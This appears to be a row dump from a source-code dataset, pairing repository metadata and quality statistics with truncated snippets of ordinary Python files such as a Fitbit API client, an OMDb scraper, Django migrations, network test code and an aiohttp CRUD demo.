import sim... | 31.743243 | 74 | 0.631758 | 298 | 2,349 | 4.818792 | 0.372483 | 0.104457 | 0.039694 | 0.031337 | 0.041783 | 0.029248 | 0.029248 | 0 | 0 | 0 | 0 | 0.004154 | 0.282673 | 2,349 | 73 | 75 | 32.178082 | 0.848071 | 0.338868 | 0 | 0.044444 | 0 | 0 | 0.054319 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.088889 | false | 0 | 0.044444 | 0 | 0.2 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca3d4fe9e2876f20e4c3eaac920e8250524628b2 | 2,299 | py | Python | scripts/summarize-rewards.py | jhostetler/jmcplan | 489994fa60a084d4c361a6c62b22d1a5f713c117 | [
"BSD-2-Clause"
] | 2 | 2020-03-11T13:14:33.000Z | 2021-07-17T22:45:15.000Z | scripts/summarize-rewards.py | jhostetler/jmcplan | 489994fa60a084d4c361a6c62b22d1a5f713c117 | [
"BSD-2-Clause"
] | null | null | null | scripts/summarize-rewards.py | jhostetler/jmcplan | 489994fa60a084d4c361a6c62b22d1a5f713c117 | [
"BSD-2-Clause"
] | null | null | null | # LICENSE
# Copyright (c) 2013-2016, Jesse Hostetler (jessehostetler@gmail.com)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyri... | 42.574074 | 91 | 0.739887 | 330 | 2,299 | 5.121212 | 0.524242 | 0.018935 | 0.020118 | 0.027219 | 0.108876 | 0.080473 | 0.080473 | 0.080473 | 0.080473 | 0.080473 | 0 | 0.008896 | 0.168769 | 2,299 | 53 | 92 | 43.377358 | 0.875458 | 0.578947 | 0 | 0 | 0 | 0 | 0.150424 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.12 | 0 | 0.12 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca3d5f2a23ca8a36c8a715d7a40fab8cb03b8764 | 18,411 | py | Python | hs_fetcher.py | JCMarques15/tor-hs-fetcher | 3d63f5acd3e7d8c51c6682c15e1e2db37d3df18d | [
"MIT"
] | 4 | 2018-06-26T13:40:31.000Z | 2021-11-16T11:31:33.000Z | hs_fetcher.py | JCMarques15/tor-hs-fetcher | 3d63f5acd3e7d8c51c6682c15e1e2db37d3df18d | [
"MIT"
] | null | null | null | hs_fetcher.py | JCMarques15/tor-hs-fetcher | 3d63f5acd3e7d8c51c6682c15e1e2db37d3df18d | [
"MIT"
] | 5 | 2020-02-06T01:08:50.000Z | 2021-05-03T17:38:59.000Z | #!/usr/bin/env python3
import subprocess
import subprocess
import sys
import threading
import sqlite3
import re
import datetime
from pathlib import Path
import base64
import binascii
class myThread (threading.Thread):
def __init__(self, threadID, name, pid, db, lock):
threading.Thread.__init__(self)
# Init... | 56.302752 | 463 | 0.689696 | 2,464 | 18,411 | 4.998377 | 0.133523 | 0.054076 | 0.032153 | 0.013397 | 0.514615 | 0.455586 | 0.412796 | 0.375447 | 0.338097 | 0.29888 | 0 | 0.008649 | 0.183586 | 18,411 | 327 | 464 | 56.302752 | 0.810725 | 0.170713 | 0 | 0.371308 | 0 | 0.033755 | 0.32247 | 0.097438 | 0 | 0 | 0 | 0.003058 | 0 | 1 | 0.054852 | false | 0 | 0.042194 | 0 | 0.118143 | 0.139241 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca3ee8526ebdaf834c4fb3681de66f5cc4e83223 | 133 | py | Python | py_rofi_bus/components/mixins/__init__.py | thecjharries/py-rofi-bus | 52deb387f24639773b6a390360e857df2d82fe37 | [
"0BSD"
] | null | null | null | py_rofi_bus/components/mixins/__init__.py | thecjharries/py-rofi-bus | 52deb387f24639773b6a390360e857df2d82fe37 | [
"0BSD"
] | null | null | null | py_rofi_bus/components/mixins/__init__.py | thecjharries/py-rofi-bus | 52deb387f24639773b6a390360e857df2d82fe37 | [
"0BSD"
] | null | null | null | # pylint:disable=W,C,R
from .has_config import HasConfig
from .has_pid import HasPid
from .manages_processes import ManagesProcesses
| 26.6 | 47 | 0.834586 | 20 | 133 | 5.4 | 0.75 | 0.12963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 133 | 4 | 48 | 33.25 | 0.907563 | 0.150376 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
ca40058a64a570aca77aabf42d24d5a31d357fe2 | 4,691 | py | Python | data_prep/bert_data_prep/gen_bert_data.py | internetarchive/pdf_trio | 682b1dcd8a07edcbfe89380a4a83477b8c71a980 | [
"Apache-2.0"
] | 16 | 2020-02-12T20:10:58.000Z | 2022-03-24T05:06:44.000Z | data_prep/bert_data_prep/gen_bert_data.py | internetarchive/pdf_trio | 682b1dcd8a07edcbfe89380a4a83477b8c71a980 | [
"Apache-2.0"
] | 1 | 2021-03-05T06:39:23.000Z | 2021-03-05T07:23:43.000Z | data_prep/bert_data_prep/gen_bert_data.py | internetarchive/pdf_trio | 682b1dcd8a07edcbfe89380a4a83477b8c71a980 | [
"Apache-2.0"
] | 3 | 2020-02-12T19:44:51.000Z | 2021-01-02T19:11:14.000Z | #!/usr/bin/env python3
"""
Copyright 2019 Internet Archive
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agree... | 35.80916 | 122 | 0.673204 | 669 | 4,691 | 4.599402 | 0.394619 | 0.077998 | 0.054599 | 0.062398 | 0.143971 | 0.115697 | 0.115697 | 0.115697 | 0.115697 | 0.089698 | 0 | 0.008415 | 0.214666 | 4,691 | 130 | 123 | 36.084615 | 0.826819 | 0.291409 | 0 | 0.058824 | 0 | 0 | 0.127997 | 0 | 0 | 0 | 0 | 0.007692 | 0 | 1 | 0.058824 | false | 0 | 0.058824 | 0 | 0.191176 | 0.044118 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca41adf512489971642b9250b9391a54e0238eab | 23,451 | py | Python | fitbit/api.py | benhoyle/python-ihealth | 32173d35d368d4adb615f8c9c61aa2c1fb22ca63 | [
"Apache-2.0"
] | 2 | 2015-03-13T22:43:33.000Z | 2015-06-26T19:10:25.000Z | fitbit/api.py | benhoyle/python-ihealth | 32173d35d368d4adb615f8c9c61aa2c1fb22ca63 | [
"Apache-2.0"
] | null | null | null | fitbit/api.py | benhoyle/python-ihealth | 32173d35d368d4adb615f8c9c61aa2c1fb22ca63 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import oauth2 as oauth
import requests
import urlparse
import json
import datetime
import urllib
from fitbit.exceptions import (BadResponse, DeleteError, HTTPBadRequest,
HTTPUnauthorized, HTTPForbidden,
HTTPServerError, HTTPConflict,... | 34.38563 | 171 | 0.569102 | 2,736 | 23,451 | 4.720029 | 0.13633 | 0.028341 | 0.03833 | 0.045997 | 0.511073 | 0.45563 | 0.410872 | 0.356899 | 0.323138 | 0.2663 | 0 | 0.004028 | 0.32246 | 23,451 | 681 | 172 | 34.436123 | 0.808736 | 0.264125 | 0 | 0.326531 | 0 | 0.002551 | 0.101103 | 0.056738 | 0 | 0 | 0 | 0.001468 | 0 | 1 | 0.09949 | false | 0.002551 | 0.020408 | 0 | 0.260204 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca433cfdc583b5417c142f3e27cbbc19fc20126f | 636 | py | Python | python_first_step/sortalgoArrayOperation/sort2.py | cartellefo/projet | 23c67e847b415fb47f71e830b89a227fffed109b | [
"MIT"
] | null | null | null | python_first_step/sortalgoArrayOperation/sort2.py | cartellefo/projet | 23c67e847b415fb47f71e830b89a227fffed109b | [
"MIT"
] | null | null | null | python_first_step/sortalgoArrayOperation/sort2.py | cartellefo/projet | 23c67e847b415fb47f71e830b89a227fffed109b | [
"MIT"
] | null | null | null | import time
import numpy as np
import numpy.linalg as nl
import random
import matplotlib.pyplot as plt
def sortInt(n_max) :
# summe des carre
listInt=[]
for i in range(1, n_max) :
s = random.randint(1,10)
listInt.append(s)
return(listInt)
intRand= sortInt(5)
print(intRand)
d... | 16.307692 | 34 | 0.542453 | 102 | 636 | 3.343137 | 0.45098 | 0.02346 | 0.046921 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0311 | 0.342767 | 636 | 38 | 35 | 16.736842 | 0.784689 | 0.023585 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.074074 | false | 0 | 0.185185 | 0 | 0.296296 | 0.074074 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca436d41c043f791ff6f753cb4ff5c619518a094 | 2,844 | py | Python | plot_p.py | alexfmsu/pyquantum | 78b09987cbfecf549e67b919bb5cb2046b21ad44 | [
"MIT"
] | null | null | null | plot_p.py | alexfmsu/pyquantum | 78b09987cbfecf549e67b919bb5cb2046b21ad44 | [
"MIT"
] | null | null | null | plot_p.py | alexfmsu/pyquantum | 78b09987cbfecf549e67b919bb5cb2046b21ad44 | [
"MIT"
] | 2 | 2020-07-28T08:40:06.000Z | 2022-02-16T23:04:58.000Z | from PyQuantum.Tools.PlotBuilder2D import *
from PyQuantum.Tools.CSV import *
import numpy as np
x = []
y = []
# path = 'oout'
path = 'out_2'
def df(x, y):
f_xn = y[-1]
xn = x[-1]
DF = []
for i in range(len(y)-2, -1, -1):
f_xn_1 = y[i]
xn_1 = x[i]
df = (f_xn-f_xn_1) / (xn... | 18.588235 | 77 | 0.457806 | 475 | 2,844 | 2.566316 | 0.166316 | 0.127153 | 0.054143 | 0.028712 | 0.241181 | 0.19032 | 0.146842 | 0.091879 | 0.091879 | 0 | 0 | 0.049918 | 0.359001 | 2,844 | 152 | 78 | 18.710526 | 0.61876 | 0.343179 | 0 | 0.044776 | 0 | 0 | 0.050745 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.014925 | false | 0 | 0.044776 | 0 | 0.074627 | 0.119403 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca43eef7e1b8fecb70a831efbfc37c25411bb39d | 435 | py | Python | mainblog/migrations/0004_alter_tags_tagname.py | layersony/interBlogApi | f5422f6ba308ecd7e7cff4c4f29da68181a63fc5 | [
"MIT"
] | null | null | null | mainblog/migrations/0004_alter_tags_tagname.py | layersony/interBlogApi | f5422f6ba308ecd7e7cff4c4f29da68181a63fc5 | [
"MIT"
] | null | null | null | mainblog/migrations/0004_alter_tags_tagname.py | layersony/interBlogApi | f5422f6ba308ecd7e7cff4c4f29da68181a63fc5 | [
"MIT"
] | null | null | null | # Generated by Django 3.2.9 on 2021-11-06 15:51
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('mainblog', '0003_alter_tags_tagname'),
]
operations = [
migrations.AlterField(
model_name='tags',
name='tagname',
... | 22.894737 | 99 | 0.616092 | 50 | 435 | 5.24 | 0.78 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.06875 | 0.264368 | 435 | 18 | 100 | 24.166667 | 0.75 | 0.103448 | 0 | 0 | 1 | 0 | 0.128866 | 0.059278 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ca4406d690ff4c796afb3625d7199843d05e7652 | 7,644 | py | Python | omdbapi-python-tool/Old/dont_use_experimental_multi_processor.py | know-airl/Vote-Goat-Data | d523d45107b5994b9135577db5e0269eb6d4c613 | [
"MIT"
] | 1 | 2020-06-12T16:58:19.000Z | 2020-06-12T16:58:19.000Z | omdbapi-python-tool/Old/dont_use_experimental_multi_processor.py | know-airl/Vote-Goat-Data | d523d45107b5994b9135577db5e0269eb6d4c613 | [
"MIT"
] | 2 | 2018-07-04T11:19:13.000Z | 2018-07-12T11:46:16.000Z | omdbapi-python-tool/Old/dont_use_experimental_multi_processor.py | know-airl/Vote-Goat-Data | d523d45107b5994b9135577db5e0269eb6d4c613 | [
"MIT"
] | null | null | null | import omdb # For scraping omdbapi.com
import ujson # For outputting to disk
from time import sleep # For sleeping between scrape attempts
import numpy as np # Not utilised past the failure text file function
import os # For checking the existing data files
import math # For rounding float up to nearest integer
# mult... | 47.185185 | 155 | 0.675693 | 1,086 | 7,644 | 4.578269 | 0.310313 | 0.01609 | 0.012068 | 0.018504 | 0.080048 | 0.057522 | 0.055109 | 0.055109 | 0.055109 | 0.037409 | 0 | 0.009604 | 0.237179 | 7,644 | 161 | 156 | 47.478261 | 0.84308 | 0.55887 | 0 | 0.153846 | 0 | 0 | 0.028032 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064103 | false | 0 | 0.115385 | 0 | 0.179487 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca441024b2e763c4af65aa1f10420402eb5cf8f7 | 22,324 | py | Python | tests/hetr_tests/test_hetr_integration.py | NervanaSystems/ngraph-python | ac032c83c7152b615a9ad129d54d350f9d6a2986 | [
"Apache-2.0"
] | 18 | 2018-03-19T04:16:49.000Z | 2021-02-08T14:44:58.000Z | tests/hetr_tests/test_hetr_integration.py | rsumner31/ngraph | 5e5c9bb9f24d95aee190b914dd2d44122fc3be53 | [
"Apache-2.0"
] | 2 | 2019-04-16T06:41:49.000Z | 2019-05-06T14:08:13.000Z | tests/hetr_tests/test_hetr_integration.py | rsumner31/ngraph | 5e5c9bb9f24d95aee190b914dd2d44122fc3be53 | [
"Apache-2.0"
] | 11 | 2018-06-16T15:59:08.000Z | 2021-03-06T00:45:30.000Z | # ******************************************************************************
# Copyright 2017-2018 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apa... | 35.775641 | 99 | 0.61781 | 3,220 | 22,324 | 4.072981 | 0.130124 | 0.044224 | 0.025162 | 0.039649 | 0.579642 | 0.55509 | 0.506367 | 0.47236 | 0.438506 | 0.40732 | 0 | 0.020702 | 0.244849 | 22,324 | 623 | 100 | 35.833066 | 0.757267 | 0.091785 | 0 | 0.437895 | 0 | 0 | 0.064125 | 0.003593 | 0 | 0 | 0 | 0.001605 | 0.065263 | 1 | 0.044211 | false | 0 | 0.035789 | 0 | 0.084211 | 0.002105 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca44c4b4a922ee4c322f05fad403519e416a4479 | 93 | py | Python | core/plugin/__init__.py | Holzhaus/jasper-plugin-draft | 5d3f89abf9b2799731079596978dbd0de49fbb0e | [
"JasPer-2.0",
"MIT"
] | 1 | 2015-03-11T14:19:24.000Z | 2015-03-11T14:19:24.000Z | core/plugin/__init__.py | Holzhaus/jasper-plugin-draft | 5d3f89abf9b2799731079596978dbd0de49fbb0e | [
"JasPer-2.0",
"MIT"
] | null | null | null | core/plugin/__init__.py | Holzhaus/jasper-plugin-draft | 5d3f89abf9b2799731079596978dbd0de49fbb0e | [
"JasPer-2.0",
"MIT"
] | null | null | null | from . import types
from .manager import PluginManager
__all__ = ['PluginManager', 'types']
| 18.6 | 36 | 0.752688 | 10 | 93 | 6.6 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139785 | 93 | 4 | 37 | 23.25 | 0.825 | 0 | 0 | 0 | 0 | 0 | 0.193548 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
ca45b500d25fab159b618f1a88b1a991fcd45ebe | 17,159 | py | Python | yardstick/network_services/traffic_profile/ixia_rfc2544.py | upfront710/yardstick | 2c3898f2ca061962cedbfc7435f78b59aa39b097 | [
"Apache-2.0"
] | 28 | 2017-02-07T07:46:42.000Z | 2021-06-30T08:11:06.000Z | yardstick/network_services/traffic_profile/ixia_rfc2544.py | upfront710/yardstick | 2c3898f2ca061962cedbfc7435f78b59aa39b097 | [
"Apache-2.0"
] | 6 | 2018-01-18T08:00:54.000Z | 2019-04-11T04:51:41.000Z | yardstick/network_services/traffic_profile/ixia_rfc2544.py | upfront710/yardstick | 2c3898f2ca061962cedbfc7435f78b59aa39b097 | [
"Apache-2.0"
] | 46 | 2016-12-13T10:05:47.000Z | 2021-02-18T07:33:06.000Z | # Copyright (c) 2016-2019 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed... | 40.279343 | 83 | 0.594615 | 1,962 | 17,159 | 4.926096 | 0.153925 | 0.034144 | 0.014485 | 0.024625 | 0.558717 | 0.503983 | 0.484739 | 0.444697 | 0.435385 | 0.415106 | 0 | 0.012064 | 0.309225 | 17,159 | 425 | 84 | 40.374118 | 0.803341 | 0.0623 | 0 | 0.476331 | 0 | 0 | 0.078451 | 0.00274 | 0 | 0 | 0 | 0 | 0 | 1 | 0.050296 | false | 0 | 0.014793 | 0 | 0.115385 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca46f5b51041f2e84a8b0929fea0766296c1cd5f | 365 | py | Python | db/migrations/0002_auto_20191223_1142.py | dmitrytk/takkand.pw | 162fd5bb0e58c419977e06ce4633177918bd6f61 | [
"MIT"
] | null | null | null | db/migrations/0002_auto_20191223_1142.py | dmitrytk/takkand.pw | 162fd5bb0e58c419977e06ce4633177918bd6f61 | [
"MIT"
] | 10 | 2021-03-18T23:07:30.000Z | 2022-03-12T00:13:17.000Z | db/migrations/0002_auto_20191223_1142.py | dmitrytk/takkand.pw | 162fd5bb0e58c419977e06ce4633177918bd6f61 | [
"MIT"
] | null | null | null | # Generated by Django 3.0 on 2019-12-23 06:42
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('db', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='well',
name='name',
field=models... | 19.210526 | 51 | 0.578082 | 39 | 365 | 5.333333 | 0.794872 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.082677 | 0.30411 | 365 | 18 | 52 | 20.277778 | 0.73622 | 0.117808 | 0 | 0 | 1 | 0 | 0.06875 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ca478284b5ab15449bbe9ae4cf72cb8e3dd5e8d8 | 1,201 | py | Python | notes/2020/2020-02-23-python-aiohttp-crud-demo-app/app.py | freininghaus/notes | 1db927afaa70eb6e3af4fd4fcdf868275da7131c | [
"MIT"
] | null | null | null | notes/2020/2020-02-23-python-aiohttp-crud-demo-app/app.py | freininghaus/notes | 1db927afaa70eb6e3af4fd4fcdf868275da7131c | [
"MIT"
] | null | null | null | notes/2020/2020-02-23-python-aiohttp-crud-demo-app/app.py | freininghaus/notes | 1db927afaa70eb6e3af4fd4fcdf868275da7131c | [
"MIT"
] | null | null | null | import json
import os
from aiohttp import web
DATA = {}
async def list_keys(request):
return web.json_response(sorted(DATA))
async def add_document(request):
key = request.match_info["key"]
try:
document = await request.json()
except json.decoder.JSONDecodeError as error:
raise web.... | 22.240741 | 104 | 0.653622 | 162 | 1,201 | 4.746914 | 0.37037 | 0.041612 | 0.070221 | 0.097529 | 0.343303 | 0.343303 | 0.343303 | 0.156047 | 0 | 0 | 0 | 0.004211 | 0.208993 | 1,201 | 53 | 105 | 22.660377 | 0.805263 | 0 | 0 | 0.315789 | 0 | 0.026316 | 0.13572 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.078947 | 0 | 0.184211 | 0.026316 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |